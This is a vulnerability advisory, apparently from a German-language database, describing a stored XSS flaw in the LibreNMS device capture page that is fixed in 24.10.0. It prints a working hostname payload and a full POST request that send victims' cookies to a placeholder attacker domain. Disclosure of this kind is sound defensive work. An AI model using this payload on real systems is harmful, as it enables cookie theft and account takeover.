LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.php
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Capture Debug Information" page allows authenticated users to inject arbitrary JavaScript through the "hostname" parameter when creating a new device. This vulnerability results in the execution of malicious code when the "Capture Debug Information" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain.
Details
When creating a new device, an attacker can inject the following XSS payload into the "hostname" parameter:
test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie"(Note: You may need to URL-encode the '+' sign in the payload.)
The payload triggers automatically when visiting the "Capture Debug Information" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies.
The vulnerability is due to insufficient sanitization of the "url" variable before it is output in the HTML. This is evident in the following lines of code:
PoC
- Create a new device with the following payload in the "hostname" parameter:
test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie"- Save the device.
- Navigate to the "Capture Debug Information" page for the device.
- Observe that the injected script triggers and redirects the user to the attacker's domain, sending cookies.
Example Request:
POST /addhost HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>
_token=<your_token>&hostname=test%27%22+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%2F<attacker_domain>%2Flogger.php%3Fc%3D%27%2bdocument.cookie%22&snmp=on&sysName=&hardware=&os=&os_id=&snmpver=v2c&port=&transport=udp&port_assoc_mode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&force_add=on&Submit=Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Capture Debug Information" page of the device. The attacker can redirect the user to a malicious domain and capture non-httponly cookies, potentially compromising the user's account and allowing unauthorized actions.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Composer-Paket | librenms/librenms | < 24.10.0 | 24.10.0 |
Verweise
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L- Schwäche (CWE)
CWE-79- Plattform
- Composer
- Paket
librenms/librenms- Veröffentlicht
- 15.11.2024
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-rmr4-x6c9-jc68 - CC BY 4.0
Schwachstellenhistorie: librenms/librenms
Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 106
- Erste → letzte
- 10.2019 08.2026
- Ohne Fix
- 6
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 5
- Hoch 39
- Mittel 56
- Niedrig 6
Veröffentlichungen pro Jahr
- 2019: 6
- 2020: 0
- 2021: 7
- 2022: 26
- 2023: 12
- 2024: 24
- 2025: 15
- 2026: 16
-
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.php dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.